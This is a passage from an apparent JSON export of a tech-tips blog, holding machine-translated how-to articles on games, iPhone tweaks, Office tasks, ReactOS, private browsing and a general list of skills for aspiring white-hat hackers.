friends\" or Jhin Mystery. Consisting of Mystery and Pioneering are key, Jhin and Ashe are the pillars of damage in this team.\nThe frontline is 4 Pioneers with good resistance and crowd control, along with the Mysterious buff that will counter the sources of magic damage for Jhin and Ashe to roam in the backline.\nOr you can build Time Zero + Gunner, with passive attack speed, Time Space can turn the marksmen in your back row into monsters. Caitlyn is also a good choice if you can't find Ashe.\n  Jhin is most afraid of being controlled by the Wind Sword and may be jumped back by the Secret Detectors to kill, especially Shaco. So if you do not have a strong defense or position properly, Jhin may be \"meat\" before firing his 4th shot.\nBased on the above information, you understand more about one of the strongest champions in DTCL Season 3 today. Hope you know what to do if you intend to raise Jhin in your team.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqlnrmlecmhoKdllKmwrXnSnpisp55igA%3D%3D\n","link":"/post/how-to-build-jhin-dtcl-season-3/","section":"post","tags":null,"title":"How to build Jhin DTCL season 3"},{"body":"Notifications sent to iPhone will appear on the screen with a horizontal frame of content. If you do not delete the notification or do not read the message, the iPhone lock screen interface becomes messy. Tuning Axon will help you group unread messages into the same application icon. Each application icon shows the total number of notifications that we have not read. This makes the iPhone screen interface much cleaner, the messages don't show overflow to the screen anymore. The following article will show you how to announce application groups on iPhone.\nHow to inform groups by application on iPhone, iPad How to create iPhone application bulletin board How to customize notifications on iPhone How to highlight important notifications on iPhone Instructions to install Axon tweak on iPhone Step 1:\nRefining Axon is installed free from Nepeta source in Cydia. We search for tweaks in Cydia or click directly on the link below to set the tweak. Refine the settings on iOS 12 jailbroken.\nhttps://repo.nepeta.me/depiction/me.nepeta.axon      Step 2:\nAfter installation is complete, you go to Settings then click on Axon tweak . Switch to the setup interface here where you see the default Axon tweak turned on. Below we can turn off or enable tactile feedback mode (Haptic feedback).\n   Step 3:\nContinue dragging down the user to select the type of notification group display for the application in Style, sorting type in Sorting, adding background or blurring at Selection Style.\nThere is an option to turn on or off the number of app notification icons, hide or show the background in the Badges. After adjustment is complete, click Respring to apply the change.\n   Step 4:\nWe then go back to the lock screen and see the notifications and applications are grouped into an application icon. On each icon, the number of new notifications is displayed.\nIf clicked, the content of the notifications will be displayed. When you swipe the message from right to left, there are some options as shown below.\n    We can also switch to the blurring application icon display type as shown below.\n   The lock screen interface on iPhone is much more compact thanks to Axon tweak. Notifications and applications are hidden in the application icon, accompanied by a user-controlled notification number.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufor2ir9NmrKeqlZaxbrnErKqan5WoerC6jKKnoaeemg%3D%3D\n","link":"/post/how-to-compact-unread-messages-on-iphone/","section":"post","tags":null,"title":"How to compact unread messages on iPhone"},{"body":"  Word files we often use in everyday office tasks. However, in a few cases where you are in a hurry to print the word file to send the presentation that you want to convert that word file into an image to convert into a PowerPoint presentation, you can do the following:\nMethod 1: Convert Word files to online image files Step 1: Access the following websites: https://convertio.co/vn/doc-jpg/\nAnd click From Computer to upload the file from the computer.\n  Step 2: Click Convert to convert Word to an image file.\n  Step 3: Click Download to proceed with the download.\n  Step 4: The website will compress an image folder to convert the pages in the Word file as Winrar, now we right-click on the Winrar file and choose Extract to . to extract. Then open up the image and check it out.\n  This is how to convert the entire Word file to an image file in the most complete and fast manner. However, if you want to just manually convert one or several Word files to an image file without the need for a third-party software, you can refer to the following two ways.\nMethod 2: Convert Word to an image file by taking a screenshot Step 1: Open the word file you need to convert to an image file. Go to View menu (1) =\u0026gt; Multiple Pages (2) to split the screen of Word file so you can capture more information. Then press the Prt Scr (Print Screen) key on the screen.\n  Step 2: Go to the search box, find the Paint application and open it.\n  Step 3: After opening the application, you press Ctrl + V to paste the screenshot and as a result, we get the entire screenshot as shown below.\n  Step 4: Go to File menu \u0026gt; Save as =\u0026gt; we can choose any image format but PNG image format has the best quality.\u0026nbsp;\n  Step 5: We choose where to save the file (1) , name the image (2) in the File name section , select the image format in Save as type (3) and click Save (4) .\n  Step 6: After saving the file, open the image file and check.\n  Note: This is a manual way to turn a page in a Word file into an image. There is also a great way to convert Word files to image files without using software. Invite you to track 3 of the following.\nMethod 3: Convert Word to an image file with Microsoft Word. Step 1: Highlight the text you need to convert to the image file, right-click and select Copy .\n  Step 2: Put the cursor to the position to insert the image and select Paste (1) =\u0026gt; Paste Special . (2) .\n  Step 3: Choose Paste =\u0026gt; Picture =\u0026gt; OK .\n  Step 4: To save the image out, right-click on the image in the word file and select Save as Picture .\n  Step 5: You choose where to save the file (1) , name the image in File name (2) . Save as type (3) we should format PNG or JPG images for easy reading on computer and sharing. Then click Save (4) to save.\n  Step 6: After saving the image, please open and check the details of the photo if no problem is successful.\n  So instructions for converting Word files to image files will pause here. Hopefully the article will help you solve the difficulties and questions when converting Word files into image files. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmmGavn6exbrLIpZxmrJ9irq95yKaYoJ1dm7atsYysmK%2BdXam1pnnWqKmdZZaeuaZ5wKxkmqZdnrqis8Q%3D\n","link":"/post/how-to-convert-a-word-file-to-an-image-file/","section":"post","tags":null,"title":"How to convert a Word file to an image file"},{"body":"When you think about an operating system other than Windows or macOS, you'll remember Linux right away. You can think about some other variants of Unix, but Linux is probably one of them.\nThere are many other options, like QNX or BeOS, and some new names you may not have heard of before. One of these operating systems is ReactOS.\nWhat is ReactOS? ReactOS has more in common with Windows than Linux. However, ReactOS is not a Windows version or a copy. ReactOS is a completely separate operating system.\nReactOS can run Windows programs. In fact, developers target full binary compatibility with Windows. In short, ReactOS is not a Windows operating system, but it can run Windows programs.\n  ReactOS also has system requirements, so you can run it on an old backup computer to try it out. Even, you don't need to install ReactOS to test.\nHow to create Live CD ReactOS You can create the standard ReactOS installer, but if you just want to try it out, Live CD will work very well. This allows you to run ReactOS without installing it.\nTo get started, download the ReactOS ISO file from the project website. To burn (burn) a CD, you will need a utility called ImgBurn.\n  Launch ImgBurn, then select 'Write image file to disc' . Select the ISO file you downloaded earlier, then insert a CD. Click 'ISO to CD' and wait for the file to be recorded.\nNow, restart your computer. To boot from a CD, you may have to hold a key. In most cases, it is the F12 key. Boot from Live CD ReactOS disc, then select LiveCD from the menu.\nHow to create a Live USB ReactOS Technically, you can also choose to create Live USB instead of CD.\nWarning At the time of writing, you cannot boot from USB due to ReactOS error. You can create a fairly good drive, but there will be a black screen appear when booting.\nBut this may not be true in your case. You can check the ReactOS website to verify that the Live USB drives work.\nCreate a Live USB drive To create a Live USB drive, you will need to download the live CD ISO as above. Instead of writing it to disk, you will use a program like Rufus to create USB.\n  TipsMake.com has a tutorial on how to create USB Boot, USB install Windows with Rufus. You can follow that tutorial using the image ReactOS file.\nIf you have an old computer and want to give it a new breath, ReactOS is a great choice. It is also a good option to repair old computers for friends or relatives who want to run old Windows programs. ReactOS can't solve all problems, but it's worth considering.\nOr maybe you are a Windows user, trying to switch to another operating system without buying new hardware. If that is the case, take a look at the list of the best Linux distributions for Windows users.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyloK%2BdXarAo3nOq2ScnF2nsqKv06iq\n","link":"/post/how-to-create-live-usb-or-cd-reactos/","section":"post","tags":null,"title":"How to create Live USB or CD ReactOS"},{"body":"In case you use the same computer with others, security issues are always top priority. Security from personal accounts, even the entire browsing history we have visited. Often you will think about how to delete the entire browsing history on Macs, such as the article Clear your browsing history, the Firefox browser cache on Windows and Mac OS X that we have previously instructed.\nHowever, in addition to the traditional way of doing so, you can completely build a web browsing security class from the beginning, without deleting the history after access. In the following article, we will show you how to delete browsing traces on your Mac.\n1. Log in to your Guest Account on your Mac: The Guest Account account on the Mac will help users to erase all browsing traces, just after accessing, we can log out this account.\nWhen using the Guest Account, a temporary account will be set up. And when logging out, all data of that temporary account will disappear. But first, set up a Guest Account account on your Mac according to the How to create a Guest account on a Mac.\n  2. Private Browsing on Safari for Mac OS: Safari has Private Browsing feature, deletes cookies, stores IP and downloaded files after exiting the browser.\nTo use Private Browsing on Mac OS, first go to File\u0026gt; New Window Private, or press Command + Shift + N as well.\n  3. Anonymous in Chrome on Mac OS: Chrome browser allows users to browse the web in Incognito mode or Guest browsing mode. When users use these two modes, Chrome will not save any browsing history, but will delete all cookies after we turn off the incognito tab.\nTo use an anonymous browser on your Mac, go to New\u0026gt; New Incognito Window , or use Command + Shift + N.\n  4. Private Browsing on Firefox for Mac OS: Like Chrome, Private Browsing of Firefox will erase all history and data the whole time we surf the web. From browsing history, cookies, passwords, downloaded files will be erased, even new boomark will not be created in this mode.\nTo use Private Browsing window in Firefox, go to New\u0026gt; New Private Window , or shortcut keystroke Command + Shift + P.\n  The above are 4 ways to help users to erase all web surfing traces on Mac. You will not need to re-search the entire history and then delete them as before. Just using 1 of the 4 ways above is completely gone after surfing the web on a Mac.\nRefer to the following articles: 5 steps to fix a crashed and inactive Mac error Instructions on how to install macOS Sierra (clean install) 10.12 on Mac How to create a MacOS Sierra installed USB drive 10.12 I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYybqaivo567qHnTq5icnaNivK95zJqa\n","link":"/post/how-to-delete-browsing-traces-on-mac/","section":"post","tags":null,"title":"How to delete browsing traces on Mac"},{"body":"Zing MP3 is the most popular and popular online music service today, not only on computers but also on phones with the Zing MP3 version . The application offers users a huge archive of music, from single songs, albums, songs by artists from around the world.\nWe can easily search any song or video we want on Zing MP3 easily. So how can I download MP3 songs on Zing MP3 on Zing PC? The following article will guide you how to download music on Zing MP3 phone\nDownload the Zing MP3 Android application Download the Zing MP3 iOS app Step 1:\nYou install the Zing MP3 application for your phone according to the link above. At the Home page of the application, click the Search icon . Then enter the name of the song you want to download on Zing MP3 into the Search box.\nIn addition, Zing MP3 also gives users a lot of topics to search for other songs below.\n    Step 2:\nWhen entering a search keyword, we will see some songs related to the keyword you entered. Click on the song you want to download from Zing MP3. We can swipe the screen from right to left to see the lyrics, sing karaoke on Zing MP3.\nIn the song delivery interface, the user will see the download icon , click on it to download the song.\n    Step 3:\nA window appears with the sound quality option to download songs to the phone on Zing MP3. However, for ordinary users, we can only download music with 128 kbps quality . To download 320 kbps quality, you need to register a Zing Mp3 VIP account.\nVIP accounts on Zing MP3 can now register via Zalo account. Users can refer to how to do in the article How to upgrade Zing Mp3 VIP account via Zalo.\nThen, when the job loads successfully, you will get the message as shown below.\n   Step 4:\nTo open the downloaded song , click the down arrow icon to hide the song playback interface. Then, click on the Personal icon to switch to the Download History interface . In this interface you will know the amount of space that the Zing MP3 application uses on the device. We just need to tap the song to listen offline.\nIn addition, Zing MP3 has also provided a timer to turn off music, without having to do it manually. Refer to how to do in the article How to schedule music off on Zing MP3.\n   Step 5:\nIn case you want to download multiple songs at once in an album , in the album interface click the Save icon offline . Appears the entire list in this album. Select the songs you want to download , or select Select All to download the entire song. Click on the tick icon at the top right corner.\n   Step 6:\nSoon after, Zing MP3 also made quality choices for the song. We click 128 kbps to download . Finally you wait for the process of downloading the selected songs to complete. We will see the complete download for each song on the screen.\n   So you have downloaded the song on Zing MP3 to your phone, follow the single song or download many songs. To listen to the song downloaded on Zing MP3, we just need to open the application and access the Download History to listen to it offline, without connecting to a WiFi network or using a mobile data network.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZKaoY2K6tr%2FInGSopl2vtq%2BzjKanbGWgnbyvsQ%3D%3D\n","link":"/post/how-to-download-mp3-music-on-zing-mp3-phone/","section":"post","tags":null,"title":"How to download MP3 music on Zing MP3 phone"},{"body":" A Sphero 2.0 is fun toy for anybody, but it can seem complicated to set up and drive your Sphero. This wikiHow will teach you the essentials of using and having fun with your toy. Download the Sphero app. Open the App Store or Google Play...\nPart 1of 2:\nSetting Up Your Sphero Download the Sphero app. Open the App Store or Google Play and search for the Sphero app. Install it.\n  Charge your Sphero. Place the Sphero into the charging cradle. The light on the base of the charging cradle will begin blinking blue, and turn solid when it is fully charged. For more information on charging your Sphero, go to How to Charge the Sphero.\n Wake your Sphero up. To wake your Sphero up, double tap with your hand or a hard surface. Often it will only respond to tapping on a hard surface\u0026nbsp;-\u0026nbsp;don't worry about harming it. The Sphero will begin flashing colors when successfully woken up.   Pair your Sphero. On iOS, open Settings \u0026gt; General \u0026gt; Bluetooth. When the Sphero is detected, it will begin to pair with your device.\u0026nbsp;On Android, open Settings \u0026gt; Wireless Controls \u0026gt; Bluetooth. When the Sphero is detected, click on its name to begin pairing.\n  Open the Sphero app. The app will automatically connect with the Sphero each time it is opened.\n  Name your Sphero. After the app connects with the Sphero, it will open to a screen asking for a name. You can always change its name by opening settings in the app (located on the left side of the circle) and tapping on the Sphero icon three times. This will take you to advanced settings, and at the top of the page you will have to option of renaming it.  Part 2of 2:\nDriving Your Sphero  Open the Sphero app. The app will automatically detect the Sphero.\n  Aim your Sphero. On the bottom left corner of the controlling screen, you will see a circle with two arrows pointing opposite directions. Face the Sphero, then press and hold on this button, and rotate your finger around the circle until the blue tail light is pointed at you.\n  Move the Sphero. In the center of the screen, there is a control pad with a four-pronged arrow in the middle. To move the robot, move the arrow in the direction you wish it to go in. You can change the controlling method to tilt by clicking the icon of a phone and two arrows facing different directions on top of it.   Go on missions. Directly to the right of the control pad is a curved rectangle with 3 dots, and a number representing the number of challenges you have, followed by the word \"Missions.\" Click on this for a list of challenges to complete, such as driving your robot a certain distance in a certain amount of time, making sure it doesn't crash after it has been \"hacked,\" even shaking it. Doing these challenges will result in level-ups, which grant you cores (Sphero's arm of \"currency\") and tricks. You can also buy tricks with the cores.   Level up. Above the control pad, a curved bar with a number represents your progress in levels. Doing missions will help you level up, as will driving the Sphero around. A line of black bars spreading along the level-up bar represents how close you are to leveling up. When you have leveled up, the bar will glow white. Click to it to receive gifts, but remember that 20 is the max level.   Perform tricks. In the bottom right corner, there will be an icon of a Sphero, though its activity and position varies, with six square dots in two rows at the bottom. Click on the dots to scroll through your list of tricks. Click on a trick to read its description, then press \"Select\". To do it, tap on the icon of the Sphero performing the trick. Some tricks require the Sphero to move or require the icon to be held down.   Change your Sphero's color. Beneath the level-up bar directly on the left side, there is a pallet button. Press that, then tap the color on the color wheel that you would like. When you have chosen a color, click the green arrow in the top left corner.\n  Change the speed of your Sphero. Situated directly beneath the control pad there is a curved bar, a turtle button on one side, a rabbit button on the other, and a percentage just to the left of the rabbit button. Click the turtle button to make the Sphero go slower, and the rabbit button to make it speed up.\n  Boost the Sphero. Above the trick button, there is a rectangle featuring the Sphero going at high speeds. Click on this to make the Sphero temporarily speed up. The boost bar will automatically fill up by driving around.   Go on core drops. Just to the right of the speed bar, there is a circle with three plus signs surrounding it. Pressing this will enter a mode where you can collect cores by driving around. Where the challenges button typically is, there is a new button Sphero icon with a bar a the bottom. When you are far away from a core collection, the button will be blue. Drive in any direction until the bar begins to become yellow. When the bar is green, press the button to 'warp' and gain cores. Your goal is to get as many cores as possible within a time limit. The Sphero will rotate and make noises when warped.   Play other games. There are a wide variety of other apps that you can play with the Sphero, available on the App Store and Google Play, such as Color Grab and Chromo Drive. There is also an educational app that teaches coding, like Sphero Edu.\n  David Pac Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiclsZuw8itn2aZXai9qbHRqGRraA%3D%3D\n","link":"/post/how-to-play-with-a-sphero-2-0/","section":"post","tags":null,"title":"How to Play with a Sphero 2.0"},{"body":"In this lesson, TipsMake will help you understand how to insert images and Clip Art in Power Point specifically and clearly, which can be applied to different PowerPoint versions.\n Instructions for inserting images and Clip Art in Power Point Microsoft PowerPoint is a very popular software used for presentations through slides.Whatever your field is like accounting, information technology, education, office, ., good use of Power Point will be very effective for your work and promotion.On each slide you create, you should emphasize the concise, concise content shown through images and Clip Art instead of boring text.In this lesson, TipsMake will help you understand how to insert images and Clip Art in Power Point specifically and clearly, which can be applied to different PowerPoint versions.\n1. Insert picture\nImages and Clip Arts can be inserted into the slide in two ways, one is to insert from the command menu on the Ribbon , the second way is by using the shortcuts that appear in Placeholders. Contains content that is present in content slides from the 2nd slide onwards - the first slide is the title slide).\n1.1. Method 1: Insert images from the Ribbon\nSelect the Insert tab. Click the Picture command in the Illustrations group, as shown in the image below. The Insert Picture dialog box will appear.   Locate / save a photo in your computer and left click to select the image you want to insert into the slide.   Click Insert , and the image will immediately appear on your slide.   1.2. Option 2: insert images from a command in Placeholder:\nClick the Insert Picture from File icon in the Placeholder . The Insert Picture dialog box will appear.   Locate and select the image you want to use. Click Insert , and it will appear on your slide. 2. Insert Clip Art\nSimilar to inserting images, Clip Art can be inserted into slides in two ways:\n2.1. Method 1: Insert Clip Art from the Ribbon\nSelect the Insert tab . Click the Clip Art command in the Illustrations group. The Clip Art box will appear right next to the Picture icon.   Enter keywords related to the image you want to insert, for example, if you want to insert an image of your heart, then type 'heart' into the Search for section . Click the drop down arrow in the gallery. Select Everywhere in Search in to make sure PowerPoint searches on your computer.   Click the dropdown arrow in All Media Types Deselect any file types you don't want to see.In this example, if you only want images ( Photographs ), then you will tick the Photographs section and uncheck the other options.   Click Go .A list of clip art images related to the search terms shown in the image above is the heart. Click on any shape to insert it, or click the drop-down arrow next to the clip art and select Insert from the menu.The figures will appear on the slide.   2.2. Method 2: Insert Clip Art from a Placeholder\nClick the Clip Art command in the Placeholder . The Clip Art box will appear to the right of the Placeholder as shown in the picture.   The next steps do the same way one.If searching doesn't yield the results you need, try different keywords, or click the Clip art on Office Online link below to go to the Microsoft website, where you can search and download thousands of images. photo, clip art. ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWahnqiys8DIp55mqJmYwba%2BxKxkmqaUYrCttc9mmKusXZ67brzOsJyrqJ%2Beu7U%3D\n","link":"/post/instructions-for-inserting-pictures-and-clip-art-in-powerpoint/","section":"post","tags":null,"title":"Instructions for inserting Pictures and Clip Art in PowerPoint"},{"body":"Windows 11 was officially released for free by Microsoft on October 5. However, only PCs and laptops equipped with Intel Gen 8 CPUs, AMD Zen 2 CPUs, and some Intel Gen 7 CPUs are supported to upgrade. This made many users extremely angry.\nHowever, when some users check with PC Health Check - check if the computer can install Windows 11, it seems that Microsoft \"re-allows\" single-core Pentium 4 661 CPUs. and Intel's 3.6Ghz clock released in 2006 was suddenly supported to upgrade to Windows 11 for free.\n  The reason may be that Microsoft has omitted the Pentium 4 CPU, not adding Intel's decades-old CPU to the list of CPUs that are not supported to upgrade to Windows 11. And so it has accidentally appeared in the list. List of supported CPUs upgrading to Windows 11 in PC Health Check.\nTherefore, devices with Pentium 4 CPUs can be fully upgraded to official Windows 11. This shows that Microsoft seems to only check the user's device configuration against the database of the supported CPU list.\nSome users after bypassing TPM 2.0 \u0026amp; Secure Boot requirements successfully installed Windows 11 on Pentium 4 661, they even received the latest Build 22000.282 of Windows 11.\nupgrade to windows 11 ncG1vNJzZmismaXArq3KnmWcp51kvaa606KspmVkYrCxwYyup6CqkZmypXnTqGSwoZ6ZvLi%2FjGpo\n","link":"/post/pentium-4-cpu-upgraded-to-windows-11/","section":"post","tags":null,"title":"Pentium 4 CPU upgraded to Windows 11"},{"body":"Boil in boiling water for 150 degrees, freeze below 0 degrees Celsius, throw it out into space, dry . almost every other creature cannot survive if it is in one of these environments. Can still survive comfortably even to do \"sex\" and \" childbirth \". Now scientists from the University of North Carolina have figured out the mystery behind their hegemony.\n  Tardigrades water bears.\nThe only species on Earth that is nearly impossible to destroy and can approach this term \"immortal\" is Tardigrades , also known as water bears . They are found in the harshest places on Earth, such as in Japanese hot springs, at the bottom of the ocean, on mountains of up to 5.5 km of the Himalayas and even as ice as the South. Pole.\nDr Thomas Boothby from the University of North Carolina, the research director, said: \" The study's biggest discovery this time is that water bears have developed special genes, allowing them to survive in drought conditions. most \".\nPreviously, scientists thought that the terrifying ability of water beetles was due to trehelose, a sugar commonly found in the body of shrimp. This type of sugar helps water bears to survive even in a water-free environment for up to a decade.\nBut in a recent study, they found a secret to help the \"immortal\" bear beetle thanks to a unique gene and that of its own less than 1mm long creature.\n  The protein encoded by the genes of this animal is unique and is named TDP. This special protein species has a glass-like structure that surrounds its body like a covering when the surrounding environment is completely drained of water. This helps them maintain basic functions at extremely slow speeds. This is why this creature can survive for decades without food or water. When there is water, this membrane will automatically melt.\nAccording to Dr. Boothby, this finding is extremely important and meaningful. Experiments show that TDP has the same effect for other biological materials: bacteria, cells . Scientists hope that in the future we can use this protein to protect the soil. Plant from drought, store the medicine without refrigeration.\nListed 10 largest species of creatures in the ocean Discover 5 strange creatures than even science fiction novels ncG1vNJzZmismaXArq3KnmWcp51kwamxjKawrKyVp8ZursShoKecXam1pnnVopiboZyewbp5zp9kraCVYryvuNhmoKaln6fBoriMnKmemaSqv6Z5zqdknpmiqbU%3D\n","link":"/post/the-mystery-behind-the-viability-of-the-only-immortal-creature-on-earth/","section":"post","tags":null,"title":"The mystery behind the viability of the only 'immortal' creature on Earth"},{"body":"Naturally, we recommend learning these skills to become a white hat hacker, making companies, organizations and the internet even more secure.\nBesides white hat hackers and black hat hackers, what other colors are there in the hacker world? Is there any genuine work for them?\nBasic skills These are the most basic things you need to know in order to start hacking something. After mastering the skills in this section, you can move on to intermediate skills.\n1. Computer skills To be a hacker, you need to have some basic computer skills. Of course, we're not talking about typing in Word or surfing the web. What you need is the ability to use the command line in Windows, the ability to edit the Registry and set network parameters.\u0026nbsp;\n  2. Network skills You need to understand the following basic concepts about networking:\nDHCP NAT Subnet IPv4 IPv6 Public IP and Private IP DNS Router and switch VLAN OSI model MAC address ARP Because hackers often have to \"machine\" things related to the above technologies, you understand them as well as possible.\u0026nbsp;\n3. Linux skills To be a hacker, developing your Linux skills is of utmost importance. Almost all of the tools that hackers use are developed for Linux and Linux to give hackers capabilities that Windows doesn't have.\n4. Learn how to use Wireshark or Tcpdump Wireshark is widely used for sniffer / protocol analysis while tcpdump is a command line sniffer / protocol analyzer. Both are extremely useful in analyzing TCP / IP traffic and attacks.\n5. Virtual machine skills You need to master virtualization software such as VirtualBox or VMWare Workstation. Thanks to these virtual machine creation software, you will have a safe environment to practice your hacking skills before you apply them and get real. Besides, it also helps you to check and test your new discoveries safely.\n6. Understand security concepts and technologies A good hacker needs to understand security concepts and technologies. You need to have in hand basic things like PKI (public key infrastructure), SSL (secure sockets layer), IDS (intrusion detection system), firewalls, .\n7. Wireless connection technology To hack wireless technology, you must first understand how it works. You have to understand things like security algorithms (WEP, WPA, WPA2), four-way-handshake encryption protocol, and WPS. Also, you need to know things like connection protocols and how to authenticate .\n  Intermediate skills 8. Scripting Without scripting skills, you will have to use other hacker tools and this is taboo in the hacker world. Not being able to write scripts reduces your effectiveness. Security tools are inherently updated every day, so you have to be able to script to get around them.\nTo develop your own unique tools, you need to master at least one scripting language including the BASH shell. You can choose one of the languages ​​like Perl, Python or Ruby.\n9. Database skills To get the most out of the system you want to hack into you need to understand the database and how it works. To do this you need to know the SQL language. Expert advice is that you should be proficient in one of the major database management systems (DBMS) like SQL Server, Oracle or MySQL.\n10. Web application In recent years, web applications have been the most fertile ground for hackers. The better you understand how web applications and the databases behind them work, the more successful you will be. Besides, to serve hacking campaigns, you also need to build your own website.\n  11. Digital forensic skills The best hackers around the world often have a very good grasp of digital forensic skills. With black hat hackers, this skill will help them hide, erase their tracks on the internet. With white hat hackers, digital forensics help them assist agencies and governments in tracking down black hat hackers and cybercriminals.\n12. Advanced TCP / IP Beginner hackers must know the basics, but to advance to the mid-range hacker you must have a deep understanding of the TCP / IP stack and protocol fields. These include how the fields in both TCP and IP packets can be manipulated and used to hack into the system and trigger MitM attacks .\n13. Cryptography The deeper you understand cryptographic weaknesses and strengths, the easier it will be to hack into systems. Besides, understanding cryptography also helps you to hide your activities from other hackers.\n14. Reverse engineering Reverse engineering helps you discover things and understand more deeply about applications, services, and even malicious code. As in software engineering, it is rare for a hacker to build malicious code from scratch but often use the components of existing malware.\nA white hat hacker can use reverse malware to investigate and track down black hat hackers and cyber criminals. Meanwhile, black hat hackers can use this technique to bypass IDS intrusion detection system and anti-virus software .\nInvisible skills Besides IT, computer skills, hackers also need some other invisible skills. These include the following skills:\n15. Think creatively A system is always vulnerable and there are ways to hack into it. On the same issue, a creative thinking hacker will come up with different approaches.\n  16. Problem solving skills As a hacker, you often face problems that seem like there's no solution. This requires getting used to being analytical and problem-solving all the time.\u0026nbsp;\nFirst, you will have to correctly diagnose what anomaly is going on and then break the problem down into separate parts. This skill can not be achieved overnight, but requires regular and continuous training for a long time.\n17. Persistence, perseverance A hacker always has to persevere with each campaign. If the first time fails, try again. If that still doesn't work, find a new approach and try again. Only with perseverance can you succeed in a hacker career (including white hat or black hat).\nYou want to be a hacker?\nWe hope that this article will provide you with some tutorials, a list of what you need to learn and master to become a mid-range hacker. Of course, to become an advanced hacker or master, you will need other skills. We also wish that you will become the white hat hackers that help the society instead of the black hat hackers.\nCurrently, white hat hackers can make a lot of money when participating in bug hunting programs organized by companies and corporations around the world.\nncG1vNJzZmismaXArq3KnmWcp51kfnh50qSgpaSjYrumscOem2asn2Kvpq%2FOppxmmV2drqS3xKs%3D\n","link":"/post/17-skills-needed-to-become-a-hacker/","section":"post","tags":null,"title":"17 skills needed to become a hacker"},{"body":"Valheim is an emerging name in the gaming community and is standing in the top of the Steam Early Access sales chart. This is a Viking-style survival action game that is very attractive to many gamers around the world.\nOn February 10th, just 8 days after its debut. Developer Iron Gate announced that Valheim had sold 1 million copies, and just five days later the number had grown to 2 million.\n  The current number of Valheim players is second only to Counter-Strike: Global Offensive (CS: GO). This is a game that has set a record when it reached more than 391,000 players at the same time. Breaking GTA V off that top 10 chart.\nHow to play Valheim?   With a 1-10-player co-op mechanism, this is an open world survival game that is very suitable for a team of friends to play together.\nIn Valheim, players will play the role of mighty Viking warriors. You will have to collect items, craft weapons, build buildings . in a simple way. No need to spend a lot of time building the necessary things as you gather new ingredients. Crafting recipe will automatically unlock, it can be said that the gameplay of Valheim will be similar to Minecraft.\n  A little difference is that in Valheim, you will have to fight legendary monsters to prove to the hordes of legendary monsters in the afterlife to prove your worth to the supreme god Odin. help them step into paradise.\nWith mythological elements combined with a unique context, that's why a game in the open-world survival genre is not new, but very attractive to players recently.\nMinimum configuration Valheim on PC Like most games on the current PC, although released in 2021, the configuration requirements of Valheim are not too high. A PC with below average configuration can still experience Valheim smoothly.\n  OS: Windows 7 and above (64bit) CPU: Minimum 2.6 GHz Dual Core or similar RAM memory: \u0026nbsp;4 GB Graphics Card: Nvidia GeForce GTX 500 series or similar DirectX: Version 11 Required hard drive space: 1 GB of available space Recommended configuration Valheim on PC   OS: Windows 7 and above Processor: Core i5 3GHz or higher Memory: 8 GB RAM Graphics: GeForce GTX 970 series or similar DirectX: Version 11 Network: broadband Internet connection Storage: 1 GB of available space Comparing Valheim's recommended configuration with many other games, the above parameters are considered quite light. Just the legendary GTX 750 Ti is enough to run Valheim in medium configuration. And if you want to experience the game at maximum configuration, get a GTX 1650 Ti or higher in the present time.\nncG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqVYsOiuMeeoKZln6N6tbTEZpqopaCqwaa%2B\n","link":"/post/configure-valheim-on-the-computer/","section":"post","tags":null,"title":"Configure Valheim on the computer"},{"body":"TipsMake.com - In the tutorial article below, we will introduce you some basic and necessary operations to create and print Label in Microsoft Word 2010 program with just a few steps to set up. Technically, we can create labels directly with support tools right inside Word, or save them as a separate file.\nTo start, you start Word program, open the Mailings\u0026gt; Labels tab in the Create group. If there is some information like the address in the current text, Word will use that information right in the Address field at the Envelopes and Labels window :\n If the Address section has been selected, we can select and replace this data section by entering new information. Or check the box Use return address - the characters here will be inserted into the corresponding Address box. But where is this return address? Choose File\u0026gt; Options\u0026gt; Advanced , scroll down to the General tab near the bottom, we will see the Mailing address - this is the information store return address:\n Also at this Envelopes and Labels window are a number of different options for you to insert all the labels into the text page or just display at a certain part. If you choose a single label , you must explicitly specify that display location in Word 's options. To display other options, click the Options button:\n  The options presented here are relatively easy to understand\nTo display more specific information here, click the Details button, the following example is the detail of the 2480 PhotoPaper standard :\n  After performing editing operations, we can save it under another name for more convenient use later. Once you have selected the entire label printing mode, you will see that the list of these labels is arranged correctly and correctly in 1 table if you click the New Document button in the Envelopes and Labels window :\n Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZqSRl7KtecinZLCnopl6c3yQaQ%3D%3D\n","link":"/post/create-label-in-word-2010/","section":"post","tags":null,"title":"Create Label in Word 2010"},{"body":"Facebook has officially launched Slack's competitor: Facebook Workplace .\nFacebook Workplace is part of a social network, part of Messenger, and a part of production tools. Workplace accounts are only available for groups / businesses and are completely 'independent' with your personal account.\n  1. What is Facebook Workplace? Workplace is a mobile application and web application designed to maintain team connections. The service is also known as Facebook Work, offering features like Facebook Groups, Facebook Messenger, integrated video calls, social network profile access, events and live video tools.\n2. How do Facebook Workplace features work? Facebook says Workplace integrates the best features of Facebook, like News Feed , the ability to create and share in groups, features like Live, Reaction, Search (search), and trend posts, Chats, . so you can communicate with colleagues in real time.\nEven the feature called Multi-Company Groups , allows employees of different organizations to work, collaborate on a joint project.\nIn addition, companies have additional features specifically for Workplace such as analytics, multi-account login.\n3. Use Facebook Workplace Log in:   If your company or business uses Workplace, you can set up an account by clicking on the link you receive on the email.\nTo login, on your computer you access [YourCompanyName] .facebook.com , or you can download an iPhone or Android app to access your account.\nGroup (group):   Workplace allows you to create groups to add any member to the group. In the group you can create a new post to start the discussion, or you can add photos, videos, or documents to other team members. You can also reply to or reply to posts from other members of the group.\nNews Feed:   The News Feed is a \"focused\" place for all conversations from all your groups, so you no longer have to fear losing your new company or business announcements. Like New Feed on the 'original' Facebook version, on Facebook Workplace you'll also find relevant posts and trend posts.\nFollowing (user tracking):   Also you can follow your colleagues to update their information, post on New Feed. On the profile page of the user you follow, you will also see 